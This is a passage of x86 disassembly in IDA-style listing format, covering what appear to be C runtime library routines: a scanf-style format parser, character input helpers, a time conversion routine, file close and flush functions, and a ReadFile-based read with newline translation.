mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_415D24
; ---------------------------------------------------------------------------
loc_415D89: ; CODE XREF: sub_41578D+59Bj
cmp byte ptr [edi], 0
jz loc_416193
cmp [ebp+var_3C], 7Bh
jnz short loc_415D9B
mov [ebp+arg_4], edi
loc_415D9B: ; CODE XREF: sub_41578D+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_416203
pop ecx
pop ecx
loc_415DB2: ; CODE XREF: sub_41578D+6BCj
; sub_41578D+6C4j
cmp [ebp+var_20], 0
jz short loc_415DC6
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_415E62
loc_415DC6: ; CODE XREF: sub_41578D+629j
inc [ebp+var_4]
push edi
call sub_4161E9
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_415E56
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_415E56
cmp [ebp+var_E], 0
jnz short loc_415E4E
cmp [ebp+var_16], 0
jz short loc_415E43
mov ecx, ds:off_42E190
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_415E22
inc [ebp+var_4]
push edi
call sub_4161E9
pop ecx
mov [ebp+var_37], al
loc_415E22: ; CODE XREF: sub_41578D+686j
push ds:dword_42E39C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4189E7
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_415E46
; ---------------------------------------------------------------------------
loc_415E43: ; CODE XREF: sub_41578D+673j
mov [esi], al
inc esi
loc_415E46: ; CODE XREF: sub_41578D+6B4j
mov [ebp+var_2C], esi
jmp loc_415DB2
; ---------------------------------------------------------------------------
loc_415E4E: ; CODE XREF: sub_41578D+66Dj
inc [ebp+var_30]
jmp loc_415DB2
; ---------------------------------------------------------------------------
loc_415E56: ; CODE XREF: sub_41578D+649j
; sub_41578D+667j
dec [ebp+var_4]
push edi
push eax
call sub_416203
pop ecx
pop ecx
loc_415E62: ; CODE XREF: sub_41578D+633j
cmp [ebp+var_30], esi
jz loc_416193
cmp [ebp+var_E], 0
jnz loc_4160F4
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_4160F4
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_415E94
and word ptr [eax], 0
jmp loc_4160F4
; ---------------------------------------------------------------------------
loc_415E94: ; CODE XREF: sub_41578D+6FCj
and byte ptr [eax], 0
jmp loc_4160F4
; ---------------------------------------------------------------------------
loc_415E9C: ; CODE XREF: sub_41578D+466j
mov [ebp+var_D], 1
loc_415EA0: ; CODE XREF: sub_41578D+203j
; sub_41578D+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_415EAE
mov [ebp+var_17], 1
jmp short loc_415EB3
; ---------------------------------------------------------------------------
loc_415EAE: ; CODE XREF: sub_41578D+719j
cmp ebx, 2Bh
jnz short loc_415ED5
loc_415EB3: ; CODE XREF: sub_41578D+71Fj
dec [ebp+var_C]
jnz short loc_415EC4
cmp [ebp+var_20], 0
jz short loc_415EC4
mov [ebp+var_F], 1
jmp short loc_415ED5
; ---------------------------------------------------------------------------
loc_415EC4: ; CODE XREF: sub_41578D+729j
; sub_41578D+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
pop ecx
mov ebx, eax
loc_415ED2: ; CODE XREF: sub_41578D+543j
mov [ebp+var_14], ebx
loc_415ED5: ; CODE XREF: sub_41578D+4FDj
; sub_41578D+52Dj ...
cmp [ebp+var_30], 0
jz loc_415FEE
cmp [ebp+var_F], 0
jnz loc_415FCC
loc_415EE9: ; CODE XREF: sub_41578D+82Cj
cmp esi, 78h
jnz short loc_415F3D
cmp ds:dword_42E39C, 1
jle short loc_415F06
push 80h
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415F13
; ---------------------------------------------------------------------------
loc_415F06: ; CODE XREF: sub_41578D+768j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 80h
loc_415F13: ; CODE XREF: sub_41578D+777j
test eax, eax
jz loc_415FBE
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_418AE0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4161B2
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_415F90
; ---------------------------------------------------------------------------
loc_415F3D: ; CODE XREF: sub_41578D+75Fj
cmp ds:dword_42E39C, 1
jle short loc_415F52
push 4
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415F5D
; ---------------------------------------------------------------------------
loc_415F52: ; CODE XREF: sub_41578D+7B7j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 4
loc_415F5D: ; CODE XREF: sub_41578D+7C3j
test eax, eax
jz short loc_415FBE
cmp esi, 6Fh
jnz short loc_415F7B
cmp ebx, 38h
jge short loc_415FBE
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_418AE0
jmp short loc_415F8A
; ---------------------------------------------------------------------------
loc_415F7B: ; CODE XREF: sub_41578D+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_4109C0
loc_415F8A: ; CODE XREF: sub_41578D+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_415F90: ; CODE XREF: sub_41578D+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_415FA8
dec [ebp+var_C]
jz short loc_415FCC
loc_415FA8: ; CODE XREF: sub_41578D+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_415EE9
; ---------------------------------------------------------------------------
loc_415FBE: ; CODE XREF: sub_41578D+788j
; sub_41578D+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_416203
pop ecx
pop ecx
loc_415FCC: ; CODE XREF: sub_41578D+756j
; sub_41578D+819j
cmp [ebp+var_17], 0
jz loc_4160B2
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4160B2
; ---------------------------------------------------------------------------
loc_415FEE: ; CODE XREF: sub_41578D+74Cj
cmp [ebp+var_F], 0
jnz loc_4160AA
loc_415FF8: ; CODE XREF: sub_41578D+90Aj
cmp esi, 78h
jz short loc_41603C
cmp esi, 70h
jz short loc_41603C
cmp ds:dword_42E39C, 1
jle short loc_416017
push 4
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_416022
; ---------------------------------------------------------------------------
loc_416017: ; CODE XREF: sub_41578D+87Cj
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 4
loc_416022: ; CODE XREF: sub_41578D+888j
test eax, eax
jz short loc_41609C
cmp esi, 6Fh
jnz short loc_416035
cmp ebx, 38h
jge short loc_41609C
shl edi, 3
jmp short loc_416074
; ---------------------------------------------------------------------------
loc_416035: ; CODE XREF: sub_41578D+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_416074
; ---------------------------------------------------------------------------
loc_41603C: ; CODE XREF: sub_41578D+86Ej
; sub_41578D+873j
cmp ds:dword_42E39C, 1
jle short loc_416054
push 80h
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_416061
; ---------------------------------------------------------------------------
loc_416054: ; CODE XREF: sub_41578D+8B6j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 80h
loc_416061: ; CODE XREF: sub_41578D+8C5j
test eax, eax
jz short loc_41609C
push ebx
shl edi, 4
call sub_4161B2
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_416074: ; CODE XREF: sub_41578D+8A6j
; sub_41578D+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_416086
dec [ebp+var_C]
jz short loc_4160AA
loc_416086: ; CODE XREF: sub_41578D+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_415FF8
; ---------------------------------------------------------------------------
loc_41609C: ; CODE XREF: sub_41578D+897j
; sub_41578D+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_416203
pop ecx
pop ecx
loc_4160AA: ; CODE XREF: sub_41578D+865j
; sub_41578D+8F7j
cmp [ebp+var_17], 0
jz short loc_4160B2
neg edi
loc_4160B2: ; CODE XREF: sub_41578D+843j
; sub_41578D+85Cj ...
cmp esi, 46h
jnz short loc_4160BB
and [ebp+var_1C], 0
loc_4160BB: ; CODE XREF: sub_41578D+928j
cmp [ebp+var_1C], 0
jz loc_416193
cmp [ebp+var_E], 0
jnz short loc_4160F4
inc [ebp+var_34]
loc_4160CE: ; CODE XREF: sub_41578D+23Bj
cmp [ebp+var_30], 0
jz short loc_4160E4
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_4160F4
; ---------------------------------------------------------------------------
loc_4160E4: ; CODE XREF: sub_41578D+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_4160F1
mov [eax], edi
jmp short loc_4160F4
; ---------------------------------------------------------------------------
loc_4160F1: ; CODE XREF: sub_41578D+95Ej
mov [eax], di
loc_4160F4: ; CODE XREF: sub_41578D+241j
; sub_41578D+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_416141
; ---------------------------------------------------------------------------
loc_4160FF: ; CODE XREF: sub_41578D+93j
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41616E
mov ecx, ds:off_42E190
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_416141
inc [ebp+var_4]
push edi
call sub_4161E9
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41617C
dec [ebp+var_4]
loc_416141: ; CODE XREF: sub_41578D+970j
; sub_41578D+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_416157
cmp byte ptr [esi], 25h
jnz short loc_416199
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_416199
mov esi, eax
loc_416157: ; CODE XREF: sub_41578D+9B8j
mov al, [esi]
test al, al
jnz loc_4157B7
jmp short loc_416193
; ---------------------------------------------------------------------------
loc_416163: ; CODE XREF: sub_41578D+1F4j
; sub_41578D+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_416173
; ---------------------------------------------------------------------------
loc_41616E: ; CODE XREF: sub_41578D+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_416173: ; CODE XREF: sub_41578D+9DFj
call sub_416203
pop ecx
pop ecx
jmp short loc_416193
; ---------------------------------------------------------------------------
loc_41617C: ; CODE XREF: sub_41578D+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_416203
dec [ebp+var_4]
push edi
push ebx
call sub_416203
add esp, 10h
loc_416193: ; CODE XREF: sub_41578D+1Fj
; sub_41578D+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4161AA
loc_416199: ; CODE XREF: sub_41578D+9BDj
; sub_41578D+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4161AD
cmp [ebp+var_15], al
jnz short loc_4161AD
or eax, 0FFFFFFFFh
jmp short loc_4161AD
; ---------------------------------------------------------------------------
loc_4161AA: ; CODE XREF: sub_41578D+A0Aj
mov eax, [ebp+var_34]
loc_4161AD: ; CODE XREF: sub_41578D+A11j
; sub_41578D+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41578D endp
; =============== S U B R O U T I N E =======================================
sub_4161B2 proc near ; CODE XREF: sub_41578D+7A3p
; sub_41578D+8DCp
arg_0 = dword ptr 4
cmp ds:dword_42E39C, 1
push esi
jle short loc_4161CC
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_413446
pop ecx
pop ecx
jmp short loc_4161DB
; ---------------------------------------------------------------------------
loc_4161CC: ; CODE XREF: sub_4161B2+8j
mov esi, [esp+4+arg_0]
mov eax, ds:off_42E190
mov al, [eax+esi*2]
and eax, 4
loc_4161DB: ; CODE XREF: sub_4161B2+18j
test eax, eax
jnz short loc_4161E5
and esi, 0FFFFFFDFh
sub esi, 7
loc_4161E5: ; CODE XREF: sub_4161B2+2Bj
mov eax, esi
pop esi
retn
sub_4161B2 endp
; =============== S U B R O U T I N E =======================================
sub_4161E9 proc near ; CODE XREF: sub_41578D+1E1p
; sub_41578D+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_4161FB
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_4161FB: ; CODE XREF: sub_4161E9+7j
push edx
call sub_4164EB
pop ecx
retn
sub_4161E9 endp
; =============== S U B R O U T I N E =======================================
sub_416203 proc near ; CODE XREF: sub_41578D+6Bp
; sub_41578D+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_416219
push [esp+arg_4]
push [esp+4+arg_0]
call sub_418AFF
pop ecx
pop ecx
locret_416219: ; CODE XREF: sub_416203+5j
retn
sub_416203 endp
; =============== S U B R O U T I N E =======================================
sub_41621A proc near ; CODE XREF: sub_41578D+63p
; sub_41578D+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_416220: ; CODE XREF: sub_41621A+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_4161E9
mov edi, eax
push edi
call sub_418AAF
pop ecx
test eax, eax
pop ecx
jnz short loc_416220
mov eax, edi
pop edi
pop esi
retn
sub_41621A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41623E proc near ; CODE XREF: sub_411914+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_4162FA
cmp ebx, 8Ah
jg loc_4162FA
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, ds:dword_42EC24[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41627D
cmp edi, 2
jle short loc_41627D
inc esi
loc_41627D: ; CODE XREF: sub_41623E+37j
; sub_41623E+3Cj
call sub_418B6D
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, ds:dword_42EB40
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_4162F0
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_4162F6
cmp ds:dword_42EB44, 0
jz short loc_4162F6
lea eax, [ebp+var_24]
push eax
call sub_418DE0
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_4162F6
loc_4162F0: ; CODE XREF: sub_41623E+90j
add ecx, ds:dword_42EB48
loc_4162F6: ; CODE XREF: sub_41623E+96j
; sub_41623E+9Fj ...
mov eax, ecx
jmp short loc_4162FD
; ---------------------------------------------------------------------------
loc_4162FA: ; CODE XREF: sub_41623E+13j
; sub_41623E+1Fj
or eax, 0FFFFFFFFh
loc_4162FD: ; CODE XREF: sub_41623E+BAj
pop ebx
leave
retn
sub_41623E endp
; =============== S U B R O U T I N E =======================================
sub_416300 proc near ; CODE XREF: sub_4119F0+2Ap
; sub_4192E6+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, ds:dword_460C60
jnb loc_41639A
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:460B60h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41639A
push edi
call sub_419252
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416379
cmp edi, 1
jz short loc_416347
cmp edi, 2
jnz short loc_41635D
loc_416347: ; CODE XREF: sub_416300+40j
push 2
call sub_419252
push 1
mov ebp, eax
call sub_419252
pop ecx
cmp eax, ebp
pop ecx
jz short loc_416379
loc_41635D: ; CODE XREF: sub_416300+45j
push edi
call sub_419252
pop ecx
push eax
call ds:dword_41C070 ; CloseHandle
test eax, eax
jnz short loc_416379
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41637B
; ---------------------------------------------------------------------------
loc_416379: ; CODE XREF: sub_416300+3Bj
; sub_416300+5Bj ...
xor ebp, ebp
loc_41637B: ; CODE XREF: sub_416300+77j
push edi
call sub_4191D8
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_416396
push ebp
call sub_41724D
pop ecx
jmp short loc_4163AB
; ---------------------------------------------------------------------------
loc_416396: ; CODE XREF: sub_416300+8Bj
xor eax, eax
jmp short loc_4163AE
; ---------------------------------------------------------------------------
loc_41639A: ; CODE XREF: sub_416300+Ej
; sub_416300+2Fj
and ds:dword_45F848, 0
mov ds:dword_45F844, 9
loc_4163AB: ; CODE XREF: sub_416300+94j
or eax, 0FFFFFFFFh
loc_4163AE: ; CODE XREF: sub_416300+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_416300 endp
; =============== S U B R O U T I N E =======================================
sub_4163B3 proc near ; CODE XREF: sub_4119F0+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4163DC
test al, 8
jz short loc_4163DC
push dword ptr [esi+8]
call sub_410C83
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4163DC: ; CODE XREF: sub_4163B3+Aj
; sub_4163B3+Ej
pop esi
retn
sub_4163B3 endp
; =============== S U B R O U T I N E =======================================
sub_4163DE proc near ; CODE XREF: sub_41647E+2Dp
; sub_41647E+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_4163F0
push esi
call sub_41647E
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4163F0: ; CODE XREF: sub_4163DE+7j
push esi
call sub_416419
test eax, eax
pop ecx
jz short loc_416400
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_416400: ; CODE XREF: sub_4163DE+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_416415
push dword ptr [esi+10h]
call sub_41928F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_416415: ; CODE XREF: sub_4163DE+26j
xor eax, eax
pop esi
retn
sub_4163DE endp
; =============== S U B R O U T I N E =======================================
sub_416419 proc near ; CODE XREF: sub_4119F0+1Ap
; seg000:00411E35p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_416466
test ax, 108h
jz short loc_416466
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_416466
push edi
push eax
push dword ptr [esi+10h]
call sub_417DAC
add esp, 0Ch
cmp eax, edi
jnz short loc_41645F
mov eax, [esi+0Ch]
test al, 80h
jz short loc_416466
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_416466
; ---------------------------------------------------------------------------
loc_41645F: ; CODE XREF: sub_416419+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_416466: ; CODE XREF: sub_416419+14j
; sub_416419+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416419 endp
; =============== S U B R O U T I N E =======================================
sub_416475 proc near ; CODE XREF: seg000:loc_418068p
push 1
call sub_41647E
pop ecx
retn
sub_416475 endp
; =============== S U B R O U T I N E =======================================
sub_41647E proc near ; CODE XREF: sub_4163DE+Ap
; sub_416475+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp ds:dword_460B40, esi
jle short loc_4164DC
loc_41648F: ; CODE XREF: sub_41647E+5Cj
mov eax, ds:dword_45FB34
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4164D3
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_4164D3
cmp [esp+0Ch+arg_0], 1
jnz short loc_4164B9
push eax
call sub_4163DE
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4164D3
inc ebx
jmp short loc_4164D3
; ---------------------------------------------------------------------------
loc_4164B9: ; CODE XREF: sub_41647E+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_4164D3
test cl, 2
jz short loc_4164D3
push eax
call sub_4163DE
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4164D3
or edi, eax
loc_4164D3: ; CODE XREF: sub_41647E+1Bj
; sub_41647E+23j ...
inc esi
cmp esi, ds:dword_460B40
jl short loc_41648F
loc_4164DC: ; CODE XREF: sub_41647E+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_4164E7
mov eax, edi
loc_4164E7: ; CODE XREF: sub_41647E+65j
pop edi
pop esi
pop ebx
retn
sub_41647E endp
; =============== S U B R O U T I N E =======================================
sub_4164EB proc near ; CODE XREF: sub_411A46+A9p
; sub_41269C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_4165BF
test al, 40h
jnz loc_4165BF
test al, 2
jz short loc_416511
or al, 20h
mov [esi+0Ch], eax
jmp loc_4165BF
; ---------------------------------------------------------------------------
loc_416511: ; CODE XREF: sub_4164EB+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_416525
push esi
call sub_417F59
pop ecx
jmp short loc_41652A
; ---------------------------------------------------------------------------
loc_416525: ; CODE XREF: sub_4164EB+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41652A: ; CODE XREF: sub_4164EB+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_4165C4
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_4165AE
cmp eax, 0FFFFFFFFh
jz short loc_4165AE
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_416583
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41656C
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, ds:dword_460B60[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_416571
; ---------------------------------------------------------------------------
loc_41656C: ; CODE XREF: sub_4164EB+6Bj
mov edi, offset dword_42E7F0
loc_416571: ; CODE XREF: sub_4164EB+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_416583
or dh, 20h
mov [esi+0Ch], edx
loc_416583: ; CODE XREF: sub_4164EB+62j
; sub_4164EB+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_4165A0
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_4165A0
test ch, 4
jnz short loc_4165A0
mov dword ptr [esi+18h], 1000h
loc_4165A0: ; CODE XREF: sub_4164EB+9Fj
; sub_4164EB+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4165AE: ; CODE XREF: sub_4164EB+55j
; sub_4164EB+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_4165BF: ; CODE XREF: sub_4164EB+Aj
; sub_4164EB+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_4164EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165C4 proc near ; CODE XREF: sub_411A46+90p
; sub_4164EB+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, ds:dword_460C60
jnb loc_4167A1
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:460B60h[eax*4]
mov eax, ds:dword_460B60[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_4167A1
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_416679
test dl, 2
jnz short loc_416679
test dl, 48h
jz short loc_416639
mov al, [eax+5]
cmp al, 0Ah
jz short loc_416639
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_416639: ; CODE XREF: sub_4165C4+56j
; sub_4165C4+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call ds:dword_41C094 ; ReadFile
test eax, eax
jnz short loc_41668C
call ds:dword_41C068 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_416674
mov ds:dword_45F844, 9
mov ds:dword_45F848, ecx
jmp loc_4167B2
; ---------------------------------------------------------------------------
loc_416674: ; CODE XREF: sub_4165C4+99j
cmp eax, 6Dh
jnz short loc_416680
loc_416679: ; CODE XREF: sub_4165C4+4Cj
; sub_4165C4+51j
xor eax, eax
jmp loc_4167B5
; ---------------------------------------------------------------------------
loc_416680: ; CODE XREF: sub_4165C4+B3j
push eax
call sub_41724D
pop ecx
jmp loc_4167B2
; ---------------------------------------------------------------------------
loc_41668C: ; CODE XREF: sub_4165C4+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41679C
test edx, edx
jz short loc_4166B1
cmp byte ptr [edi], 0Ah
jnz short loc_4166B1
or al, 4
jmp short loc_4166B3
; ---------------------------------------------------------------------------
loc_4166B1: ; CODE XREF: sub_4165C4+E2j
; sub_4165C4+E7j
and al, 0FBh
loc_4166B3: ; CODE XREF: sub_4165C4+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_416796
loc_4166CB: ; CODE XREF: sub_4165C4+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_416786
cmp al, 0Dh
jz short loc_4166E7
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_416778
; ---------------------------------------------------------------------------
loc_4166E7: ; CODE XREF: sub_4165C4+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_416705
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_4166FC
add [ebp+arg_8], 2
jmp short loc_41675A
; ---------------------------------------------------------------------------
loc_4166FC: ; CODE XREF: sub_4165C4+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_416778
; ---------------------------------------------------------------------------
loc_416705: ; CODE XREF: sub_4165C4+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call ds:dword_41C094 ; ReadFile
test eax, eax
jnz short loc_41672D
call ds:dword_41C068 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_416774
loc_41672D: ; CODE XREF: sub_4165C4+15Dj
cmp [ebp+var_C], 0
jz short loc_416774
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41674F
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41675A
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
